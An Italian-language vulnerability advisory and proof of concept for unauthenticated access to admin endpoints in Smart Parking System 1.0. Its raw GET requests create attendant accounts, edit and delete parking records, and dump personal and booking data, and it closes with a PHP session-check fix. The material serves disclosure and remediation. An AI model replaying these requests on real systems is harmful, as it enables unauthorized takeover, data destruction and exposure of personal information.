
Prova di concetto che dimostra l'accesso non autenticato a funzioni amministrative critiche in Smart Parking System 1.0, consentendo la creazione di account, la manipolazione dei dati e l'esposizione di PII.
| Campo | Dettagli |
|---|
| Prodotto | Smart Parking System |
| Venditore | code-projects.org |
| Versione | 1.0 |
| Classe di vulnerabilità | Autenticazione mancante per funzioni critiche (CWE-306) |
| ID CVE | In attesa |
| Punteggio CVSS | 9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticazione richiesta | Nessuna |
| File interessati | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
Lo Smart Parking System 1.0 di code-projects.org non applica l'autenticazione su più endpoint riservati agli amministratori. Un attaccante remoto non autenticato può accedere direttamente a questi endpoint senza cookie di sessione ed eseguire operazioni privilegiate, tra cui la creazione di account per gli addetti al parcheggio, la modifica e l'eliminazione dei record di parcheggio e la visualizzazione di tutti i dati personali dei clienti e dei dati di prenotazione.
Non sono richieste credenziali, token di sessione o interazione da parte di alcun utente legittimo per sfruttare questa vulnerabilità.
Nessuna credenziale / nessuna sessione
↓
Richiesta GET diretta agli endpoint admin
↓
attendant.php → crea account addetti al parcheggio non autorizzati
edit.php → legge e sovrascrive qualsiasi record di parcheggio
basic_table.php → elimina qualsiasi record di parcheggio
basic_table2.php → esporta tutti i dati personali degli addetti
admin_request.php → esporta tutte le email dei clienti e i dati di prenotazione
↓
Funzionalità amministrative complete compromesse
Aprire una nuova sessione del browser senza cookie. Navigare alla radice dell'applicazione. Viene presentata la pagina di login che conferma l'assenza di una sessione attiva:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
Navigare direttamente all'endpoint di registrazione degli addetti:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
Risultato: Il modulo completo "Add Parking Attendant Details" viene caricato con campi per nome, cognome, numero di cellulare, via, nome utente e password. Un attaccante può registrare un account addetto non autorizzato con accesso al sistema.
Navigare direttamente all'endpoint di modifica dei record di parcheggio:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
Risultato: Il modulo "Update Parkings Details" viene caricato precompilato con valori live del database:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
Un attaccante può sovrascrivere qualsiasi campo e inviare per salvare le modifiche direttamente nel database.
Inviare una richiesta GET diretta all'endpoint di eliminazione:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
Risultato: L'applicazione risponde con:
Parking deleted successfully
Il record viene distrutto definitivamente nel database. Nessuna autenticazione, nessun token CSRF e nessuna richiesta di conferma richiesti.
Navigare direttamente all'endpoint di elenco degli addetti:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
Risultato: Viene restituito l'elenco completo degli addetti, inclusi nomi, numeri di cellulare e vie assegnate:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
Navigare direttamente all'endpoint delle richieste di prenotazione admin:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
Risultato: Vengono restituiti tutti i record di prenotazione dei clienti, inclusi email, slot, ore e costi:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| File | Vulnerabilità |
|---|---|
attendant.php | Creazione non autenticata di account addetti |
edit.php | Accesso non autenticato in lettura/scrittura ai record di parcheggio |
basic_table.php | Eliminazione non autenticata dei record di parcheggio |
basic_table2.php | Accesso non autenticato a tutti i dati personali degli addetti |
admin_request.php | Accesso non autenticato a tutti i dati di prenotazione dei clienti |
Aggiungere un controllo di autenticazione della sessione all'inizio di ogni file PHP rivolto all'amministrazione:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}